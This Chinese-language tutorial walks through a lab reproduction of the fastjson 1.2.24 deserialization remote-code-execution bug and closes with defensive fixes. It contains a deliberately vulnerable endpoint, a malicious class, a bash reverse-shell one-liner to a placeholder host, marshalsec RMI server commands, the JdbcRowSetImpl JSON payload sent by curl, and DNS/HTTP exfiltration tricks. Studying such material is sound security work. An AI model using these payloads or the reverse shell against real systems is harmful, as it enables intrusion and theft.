1. 项目概述:一次对特定漏洞的深度剖析
最近在梳理一些历史高危漏洞的成因与利用手法,fastjson的1.2.24版本反序列化漏洞(常被标记为CVE-2017-18349等)是一个绕不开的经典案例。这个漏洞在当时影响巨大,因为它直接绕过了常规的Java反序列化防护,通过精心构造的JSON数据就能在目标服务器上执行任意代码,危害等级极高。对于安全研究人员、渗透测试工程师乃至后端开发者来说,理解这个漏洞的原理、复现过程以及背后的防御思路,都是构建安全知识体系的重要一环。它不仅仅是一个“漏洞利用”,更是一个理解Java反序列化机制、JNDI注入攻击链以及自动化利用框架的绝佳样本。
这篇文章,我将从一个实践者的角度,带你从头开始,深入探索fastjson 1.2.24版本的RCE漏洞。我们会搭建一个简易的漏洞环境,一步步分析漏洞触发的核心原理,手把手完成漏洞的复现,并深入探讨在复现过程中可能遇到的“坑”以及排查技巧。无论你是刚入门安全的新手,想了解漏洞复现的基本流程,还是有一定经验的从业者,希望深化对反序列化攻击的理解,这篇文章都将提供详实的参考。整个探索过程,我们将聚焦于技术原理与实操,所有操作均在授权的测试环境中进行,旨在提升安全防御能力。
2. 漏洞原理与核心机制拆解
要理解fastjson的这个漏洞,我们不能停留在“有个漏洞能执行命令”的表面认知,必须深入到其运作机制中去。fastjson是一个Java语言编写的高性能JSON处理器,它提供了将Java对象序列化成JSON字符串(toJSONString),以及将JSON字符串反序列化成Java对象(parseObject/parse)的能力。问题就出在这个反序列化环节,特别是当它遇到带有特定“特征”的JSON数据时。
2.1 反序列化的“自动化”与风险
Fastjson的反序列化有一个特点:为了便捷,它支持通过@type这个字段来指定JSON数据要反序列化成的目标类。例如,{"@type":"com.example.User", "name":"test", "age":18},fastjson会尝试去实例化com.example.User类,并把name和age的值通过setter方法或字段直接赋值进去。这个过程本质上是“根据字符串动态加载并实例化类”,这本身就蕴含了风险。攻击者可以控制@type的值,指向任何一个存在于目标classpath中的类。
2.2 JNDI注入的攻击链构建
漏洞利用的关键,在于找到了一个在目标环境中广泛存在、且其构造函数、setter方法或getter方法能够触发危险操作的类。在fastjson 1.2.24中,利用链通常围绕com.sun.rowset.JdbcRowSetImpl这个类展开。这个类有一个setDataSourceName方法,当它被调用(反序列化时会自动调用setter)后,如果后续触发了setAutoCommit或connect等方法,它就会去执行一个JNDI查找(InitialContext.lookup)。
JNDI(Java Naming and Directory Interface)可以理解为Java的一个“资源目录服务”,它可以去查找各种资源,其中一种就是通过RMI(Remote Method Invocation)或LDAP协议从远程服务器加载对象。如果攻击者控制了这个JNDI的地址(即dataSourceName),将其指向一个恶意的RMI或LDAP服务器,那么当目标应用进行lookup时,恶意服务器就可以返回一个精心构造的“对象”。这个对象可能包含一段可执行的Java代码(通常利用org.springframework.context.support.ClassPathXmlApplicationContext或直接利用本地classpath中存在的危险类,如javax.el.ELProcessor来执行命令)。
注意:这里涉及到一个关键点,高版本JDK(>=8u121, 8u191等)对JNDI注入进行了限制,例如默认不允许从远程地址加载工厂类(
com.sun.jndi.rmi.object.trustURLCodebase默认为false),这使得传统的利用方式在现代环境中直接失效。但在漏洞爆发的当年(2017年),这些限制尚未生效或未广泛部署,因此漏洞威力巨大。我们复现时需要搭配相应低版本的JDK环境。
2.3 漏洞触发的完整链条
梳理一下,一次成功的攻击链条如下:
- 攻击者准备:搭建一个恶意的RMI服务器,该服务器被配置为当有客户端连接并请求某个名称时,返回一个指向另一HTTP服务器的引用,该HTTP服务器托管着包含恶意代码的class文件。
- 构造Payload:攻击者构造一个特殊的JSON字符串,其中
@type指定为com.sun.rowset.JdbcRowSetImpl,并设置dataSourceName为恶意RMI服务器的地址(如rmi://attacker-ip:1099/Exploit),同时设置autoCommit为true。 - 触发漏洞:目标应用使用fastjson 1.2.24解析了这个JSON字符串。
- 链式反应:fastjson实例化
JdbcRowSetImpl-> 调用setDataSourceName(rmi://attacker...)-> 调用setAutoCommit(true)-> 内部触发connect()->connect()中执行InitialContext.lookup(dataSourceName)。 - 远程加载:目标服务器向攻击者的RMI服务器发起JNDI查询。
- 执行代码:RMI服务器响应,指示客户端去某个HTTP地址加载恶意class文件。目标服务器加载并实例化该class,其中的静态代码块或构造函数被执行,从而实现了远程命令执行。
理解了这个链条,我们就能明白,复现这个漏洞需要三个核心组件:存在漏洞的Fastjson库、支持JNDI注入的JDK环境、以及攻击者控制的RMI/LDAP与HTTP服务。
3. 环境搭建与工具准备
“工欲善其事,必先利其器”。在开始复现之前,我们需要精心准备测试环境。强烈建议在虚拟机或隔离的Docker容器中进行所有操作,避免对宿主机造成意外影响。
3.1 靶机环境准备(漏洞应用)
我们首先搭建一个简单的、使用了漏洞版本fastjson的Web应用。
- 创建Maven项目:使用IDE或命令行创建一个标准的Java Maven Web项目。
- 引入漏洞依赖:在
pom.xml中引入fastjson 1.2.24。<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> - 编写漏洞接口:创建一个简单的Servlet或Spring Boot Controller,提供一个接收JSON参数并进行解析的接口。
这段代码直接使用@PostMapping("/parse") @ResponseBody public String parseJson(@RequestBody String jsonData) { try { // 这里是触发漏洞的关键代码 Object obj = JSON.parseObject(jsonData); return "Parsed successfully: " + obj.getClass().getName(); } catch (Exception e) { return "Parse error: " + e.getMessage(); } }JSON.parseObject(jsonData),是漏洞的典型触发点。在实际漏洞挖掘中,任何使用parse、parseObject且未配置安全黑白名单(ParserConfig)的地方都可能存在风险。 - 使用低版本JDK:这是复现成功的关键。你需要安装并配置JDK 8u121以下的版本,例如JDK 8u102。可以在Oracle官网下载历史版本,或使用Docker镜像(如
openjdk:8u102)。确保你的IDE和项目运行环境都指向这个低版本JDK。
3.2 攻击机环境准备(利用工具)
攻击机需要运行两个服务:一个RMI注册中心/服务器,一个HTTP服务器用于托管恶意class文件。手动编写这些服务比较繁琐,我们可以借助安全社区优秀的开源工具。
- marshalsec:这是一个非常流行的Java反序列化利用工具,可以方便地启动恶意的RMI/LDAP服务器。我们需要从GitHub克隆并编译它。
编译成功后,在git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTeststarget目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件。 - 编写恶意Java类:这个类的作用是在被加载时执行系统命令。我们创建一个
Exploit.java文件。public class Exploit { static { try { // 这里以弹出计算器为例,Linux/Mac可替换为 `gnome-calculator` 或 `open /System/Applications/Calculator.app` Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) { e.printStackTrace(); } } }实操心得:在实际测试中,更常见的做法是执行命令获取反向Shell,或者执行
curl/wget下载后续攻击载荷。例如,可以替换为Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/your-ip/port 0>&1"})。注意命令的跨平台兼容性。 - 编译恶意类并托管:将
Exploit.java编译成Exploit.class,并用一个简单的HTTP服务器将其托管在攻击机上。
现在,访问javac Exploit.java python3 -m http.server 8000 # 在Exploit.class所在目录启动HTTP服务http://your-attacker-ip:8000/Exploit.class应该能下载到这个class文件。
至此,我们的战场已经布置完毕:靶机(运行有漏洞应用+低版本JDK)、攻击机(准备好marshalsec和HTTP服务)。
4. 漏洞复现过程详解
环境就绪,让我们开始最关键的实战复现环节。请确保靶机应用已启动(例如在8080端口),并且攻击机与靶机网络互通。
4.1 启动恶意RMI服务器
在攻击机上,使用编译好的marshalsec启动一个RMI服务器,并指定当客户端查询名为exp的引用时,让其去我们的HTTP服务器加载Exploit.class。
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://your-attacker-ip:8000/#Exploit" 1099命令解释:
marshalsec.jndi.RMIRefServer:启动RMI引用服务器。"http://your-attacker-ip:8000/#Exploit":这是核心参数。格式为<http_base_url>#<classname>。它告诉客户端,去http://your-attacker-ip:8000/下载名为Exploit.class的文件。1099:RMI服务监听的端口。
如果一切正常,你会看到服务器启动日志,等待连接。
4.2 构造并发送攻击Payload
现在,我们构造那个致命的JSON字符串。根据JdbcRowSetImpl的利用链,Payload如下:
{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://your-attacker-ip:1099/exp", "autoCommit":true }Payload解析:
"@type":"com.sun.rowset.JdbcRowSetImpl":指定反序列化的目标类。"dataSourceName":"rmi://your-attacker-ip:1099/exp":设置JNDI查找的地址,指向我们刚启动的恶意RMI服务器和exp这个名称。"autoCommit":true:这是触发点。设置autoCommit为true,会触发setAutoCommit(true)方法,进而调用connect(),最终执行lookup。
我们可以使用curl命令或者Burp Suite等工具向靶机的漏洞接口发送这个Payload。
curl -X POST http://target-ip:8080/parse \ -H "Content-Type: application/json" \ -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://your-attacker-ip:1099/exp","autoCommit":true}'4.3 观察攻击结果
发送Payload后,立即观察攻击机和靶机。
- 攻击机(RMI服务器):你应该能在控制台看到新的入站连接日志,表明靶机已经发起了JNDI查询。
- 攻击机(HTTP服务器):你应该能看到一条访问
/Exploit.class的HTTP GET请求日志,这表明靶机正在尝试加载恶意类。 - 靶机:如果靶机是Windows且命令是
calc.exe,那么计算器程序应该会被弹出。这是RCE最直观的证据。如果命令是反弹Shell,那么你需要在攻击机用nc监听对应端口,看是否成功连接。
如果以上步骤都观察到了预期的现象,那么恭喜你,fastjson 1.2.24 RCE漏洞复现成功!
5. 深度利用与绕过技巧探讨
基础的复现只是第一步。在真实的渗透测试或漏洞研究中,情况往往更复杂。下面分享一些更深层的利用思路和可能遇到的障碍及其绕过方法。
5.1 利用链的变种与挖掘
JdbcRowSetImpl只是最广为人知的一条利用链。在fastjson 1.2.24中,由于AutoType机制(即通过@type指定任意类)的默认开启,且没有严格的黑名单过滤,理论上任何存在于classpath中、具有危险方法(如getOutputProperties、getConnection、getObjectInstance等)的类都可能被利用。安全研究人员曾挖掘出多条利用链,例如:
- TemplatesImpl链:利用
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类的getOutputProperties或newTransformer方法,配合字节码加载来执行命令。这条链不依赖JNDI,但需要设置复杂的属性。 - BasicDataSource链:利用
org.apache.tomcat.dbcp.dbcp.BasicDataSource类的getConnection触发JNDI。 - 其他第三方库链:项目中如果引入了其他存在危险类的库(如
commons-collections,groovy等),可能会形成更复杂的二次反序列化链。
注意事项:在实战中,信息收集至关重要。你需要判断目标应用的依赖环境(通过报错信息、Spring Boot Actuator端点等),寻找可能存在的、可利用的“小径”类,从而构造出更精准、更可能成功的Payload。
5.2 高版本JDK下的利用限制与绕过
如前所述,JDK 8u121, 8u191, 8u201, 11.0.1等版本逐步增加了对JNDI注入的防御:
- trustURLCodebase=false:禁止从远程Codebase加载工厂类。
- JNDI LDAP反序列化限制:限制了LDAP协议返回的序列化对象。
但这不意味着漏洞完全无法利用。后续的研究发现了在特定条件下的绕过方式:
- 利用本地ClassPath中的已知危险类:如果目标服务器的classpath中存在如
groovy.lang.GroovyClassLoader、org.apache.commons.collections4.functors.InvokerTransformer等可以直接执行代码的类,攻击者可以构造Payload,让JNDI返回一个对这些本地类的Reference,从而触发本地类的危险方法。这需要极其精确的环境匹配。 - 利用EL表达式注入:如果目标环境中有EL表达式处理器(如Tomcat 8+自带的
javax.el.ELProcessor),可以构造Payload执行EL表达式,例如Runtime.getRuntime().exec(),同样可以达到RCE效果。这需要目标应用引入了相关的EL库。 - 利用其他协议:除了RMI,LDAP协议在某些版本和配置下也可能存在利用空间,但限制同样很多。
实操心得:面对现代环境,单纯依赖JNDI+RMI的“一键化”利用已经非常困难。漏洞复现和学习最好在完全受控的低版本环境中进行。在实战渗透中,遇到使用了fastjson但版本未知的目标,更有效的思路可能是:1) 尝试通过报错信息探测版本;2) 尝试使用DNSLog等无回显方式验证漏洞存在(如利用
java.net.Inet[4|6]Address类触发DNS查询);3) 结合其他信息收集手段,寻找更可行的攻击面,而非执着于此漏洞。
5.3 无回显命令执行与验证
在真实攻击中,命令执行可能没有图形界面(计算器)这样的明显回显。我们需要通过其他方式验证命令是否执行。
- DNS外带:执行
ping或curl命令,将执行结果或特定标识拼接到一个由攻击者控制的域名前缀上,通过DNS查询日志来验证。例如:Runtime.getRuntime().exec("ping -c 1 " + System.currentTimeMillis() + ".your-dnslog-domain.com")。 - HTTP外带:执行
curl或wget命令,将命令执行结果(如whoami)通过GET或POST请求发送到攻击者控制的HTTP服务器。 - 延时判断:执行
sleep 5等命令,通过观察请求响应时间是否有明显延迟来间接判断。
这些技巧在漏洞验证和盲注攻击中非常实用。
6. 防御策略与修复方案
分析漏洞是为了更好地防御。作为开发者或安全运维,我们应该如何应对此类反序列化漏洞?
- 升级Fastjson:这是最根本、最有效的方案。Fastjson在后续版本中引入了
AutoType安全机制,默认关闭,并且维护了一个庞大的黑名单。请升级到最新安全版本(如1.2.83及以上),并密切关注安全公告。 - 配置SafeMode:在Fastjson 1.2.68及以上版本,可以开启
SafeMode,彻底关闭AutoType功能,这是最安全的配置。ParserConfig.getGlobalInstance().setSafeMode(true); - 使用白名单:如果业务必须使用
AutoType,应使用ParserConfig.addAccept()严格配置允许反序列化的类白名单,禁止任何不在名单内的类。 - 升级JDK:将生产环境JDK升级到最新版本(如8u301, 11.0.11, 17及以上),可以利用JDK内置的安全机制极大增加JNDI等攻击链的利用难度。
- 输入过滤与WAF:在网关或应用层,对传入的JSON数据进行严格的格式检查,过滤异常的
@type字段或可疑的类名。部署具备反序列化攻击检测能力的WAF。 - 最小化依赖:定期清理项目依赖,移除不必要的Jar包,减少攻击面。避免引入已知存在反序列化漏洞的第三方库。
- 安全编码习惯:避免使用
JSON.parseObject(String)这种直接反序列化不可信数据的方法。对于可信数据,也尽量使用带具体Class参数的parseObject(String, Class<T>)方法。
理解攻击,是为了构筑更坚固的防御。通过对fastjson 1.2.24漏洞的深入探索与亲手复现,我们不仅掌握了一个历史高危漏洞的利用方式,更重要的是,我们看清了Java反序列化漏洞的通用攻击模式(动态类加载->危险方法调用->外部资源加载/代码执行)和防御核心(控制类加载源、升级基础环境、严格输入校验)。这种从原理到实践,再从实践反思防御的闭环学习,对于构建扎实的应用安全能力至关重要。在后续的研究中,可以进一步探索其他JSON库(如Jackson、Gson)的历史漏洞,对比其安全机制,从而形成更全面的认知体系。